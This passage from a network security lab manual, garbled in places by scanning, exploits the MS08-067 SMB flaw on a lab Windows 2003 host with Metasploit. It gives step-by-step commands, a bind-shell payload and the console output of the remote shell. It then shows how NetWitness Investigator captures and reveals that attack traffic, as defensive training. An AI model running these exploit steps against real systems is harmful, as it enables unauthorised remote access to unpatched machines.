‘9‘@3 % M Femy gy ! 2

Figure 41: Opening msfconsole

In the command shell, enter the following command:

‘> search windows/smb/ms08 067 netapi

The Microsoft Server Service Relative Path Stack Corruption exploit is shown. Use
this exploit by typing the following command:

‘> use exploit/windows/smb/ms08 067 netapi

[Optional: You can type info to view background information on this exploit]

The ms08_067_netapi module exploits a parsing flaw in the path canonicalization
code of NetAPI32.dll through the Server Service.
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metasploit

i - A Bde Tooreiaid
- - 575 explolts - 290 auxiliary
--=[ 212 payloads - 27 encoders - 8 nops
=[ svn r9959 updated (2010.08.05)

Warning: This copy of the Metasploit Framework was last updated

We recommend that you update the framework at least every other day
For information on updating your copy of Metasploit, please see:
http://www.metasploit.com/redmine/projects/framework/wiki/Updating

msf > search windows/smb/ms08 067 netapi
Searching loaded modules for pattern 'windows/smb/ms08 067 netapi'...

Exploits

Name Rank Description

windows/smb/ms08 067 netapi great Microsoft Server Service Relative Path Stack Corruption

msf > use exploit/windows/smb/ms08 067 netapi

msf exploit(ms08 067 netapi) > |}

@ Shell |

Figure 42: Metasploit commands

4. View a list of compatible payloads by entering the following command:

> show payloads

msf exploit(ms08 067 netapi) > show payloads

patible Payloads

Name i Description

generic/debug trap "mé ) x86 Debug Trap
generic/shell bind tcp Command Shell, Bind TCP Inline
generic/shell_reverse tcp normal Generic Command Shell, Reverse TCP Inli

Figure 43: Compatible payloads
5. Set the payload by entering the following command:

‘> set payload generic/shell bind tcp ‘

6. Show options by entering the following command:

‘> show options ‘

This command displays the payload options. Note that the RHOST has not been set.
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load => generic/shell bind tcp
exploit(ms08 067 netapi) > show options

Module options:

Name Current Setting Required Description

RHOST The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)

IPayload options (generic/shell bind_ tcp):

Name Current Setting Required Description

LPORT 4444 The listen port
RHOST The target address

IExploit target:
Id Name

0 Automatic Targeting

Imsf exploit(ms08 067 netapi) > |J

Figure 44: Payload options

7. Set the remote host and check the options once more by entering the following
command:

> set rhost 10.0.3.2

> show options
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msf exploit(ms08 067 netapi) > set rhost 10.0.3.2
rhost => 10.0.3.2
msf exploit(ms08 067 netapi) > show options

Module options:

Name Current Setting Required Description

RHOST 10.0.3.2 The target address

RPORT 445 yes Set the SMB service port

SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)

Payload options (generic/shell bind tcp):

Name Current Setting Required Description

LPORT 4444 The listen port
RHOST 10.0.3.2 The target address

Exploit target:

Id Name

0 Automatic Targeting

Figure 45: Setting the remote host and checking payload options

8. Run the exploit by entering the following command:

> exploit

You should now see the Windows command line, indicating that the exploit is
successful.

9. Inthe Windows command line, enter the following commands:

> cd c:\

> dir
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ﬁgj exploit(ms08 067 netapi) > exploit

Started bind handler

Automatically detecting the target...

Fingerprint: Windows 2003 No Service Pack - lang:Unknown

Selected Target: Windows 2003 SPO Universal

Attempting to trigger the vulnerability...

Command shell session 1 opened (10.0.3.3:49686 -> 10.0.3.2:4444) at 2011-04-10 21:20:10 -0400

Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\system32>cd c:\
cd c:\

Volume in drive C has no label.
Volume Serial Number is 904D-9A51

Directory of C:\

02/06/2006 i 0 AUTOEXEC.BAT
02/06/2006 12: M 0 CONFIG.SYS
02/19/2007 H 1,139 DCl.vte.lab_VTE Lab Root CA.crt
i Documents and Settings
Inetpub
Program Files
: Tools
04/03/2007 14 WINDOWS

Figure 46: Windows command line in metasploit

You have successfully executed a command shell on Bravo from the BackTrack4
machine and performed a simple directory listing.

10. Minimize your connection to the BackTrack4 machine, and return to NetWitness
Investigator in Bravo. Stop the capture by clicking the ‘Stop capturing’ icon located
on the left of the drop-down menu in the ‘Capture’ bar.

Capture

........

. \ etasploit TrafFic - (39 Line Rate: [— 0 0 Mbs

Figure 47: Stopping the capture

11. In the Collection pane, double-click the ‘MetasploitTraffic’ collection to open the
navigation view. You can now analyze the captured traffic (Section 6.3).

6.3 Analyzing the captured traffic

1. In the navigation view for ‘MetasploitTraffic’, find the ‘Client Application’ report. You
will see that a report value ‘ms command shell’ has been captured.
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a Errors (1 iterm)
| logan failure ¢13
Extension (1 iterm}

Lt <hnanex (1)

Filename [open]

Chient Application (1 iterm)
@ ms command shell {13

Figure 48: Client Application report
Click ‘(1) next to the ‘ms command shell’ report value to view this session.

Click ‘View’ to open the content pane. Make sure the ‘Best Construction’ option is
enabled. Enabling this option lets the program automatically decide the best way to
display the session, which will be the hex view in this case.

e welcome | @MetasploitTraffic = |

BT CCDoEDEEESLEE

Time Service Size Events

2011-Apr-102

&l

Metasploit Traffic Content - Session 8

Let MetWithess
B autornatically decide the
bestway to display the .
currently loaded session. - Packet 13

Z011-Apr-11 02:30:53. 463000 [457 2]

wpr-1102:24:56.008000 [4000]

Figure 49: Best Reconstruction option

Scroll down the content pane to view the packet response and request, noting that
the command shell activity has been captured. You can also enable the ‘View text’
option to view the session in text format. Notice that you can immediately see the
exact commands entered in the command shell.
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Metasploit Traffic Content - Session §

i Wiew an ASCI dump of ,;_ ”
the currenthy loaded
session.

C:A\WINDOWSY systenias

cd cih cd ociy

Figure 50: View Text option

You have successfully hijacked a remote command line session, capture the traffic,
and analyze it. This section demonstrates the potential and capabilities of
NetWitness Investigator as a tool that monitors and identifies network threats.

7 Summary

This lab demonstrates how NetWitness Investigator can be implemented as part of the
defense-in-depth foundation for network monitoring and intrusion detection. It can
complement other tools such as Wireshark and Snort to build a comprehensive analysis on
session and application layers, while enabling analysts to understand the bigger picture
and put events into context. Analysts can easily see service types (FTP, HTTP, RIP, etc),
action events, file extensions, filenames, TCP/UDP, src/dst ports, user accounts and
passwords, and any alerts indicating malicious contents. They can further view these report
values to examine individual sessions in context.
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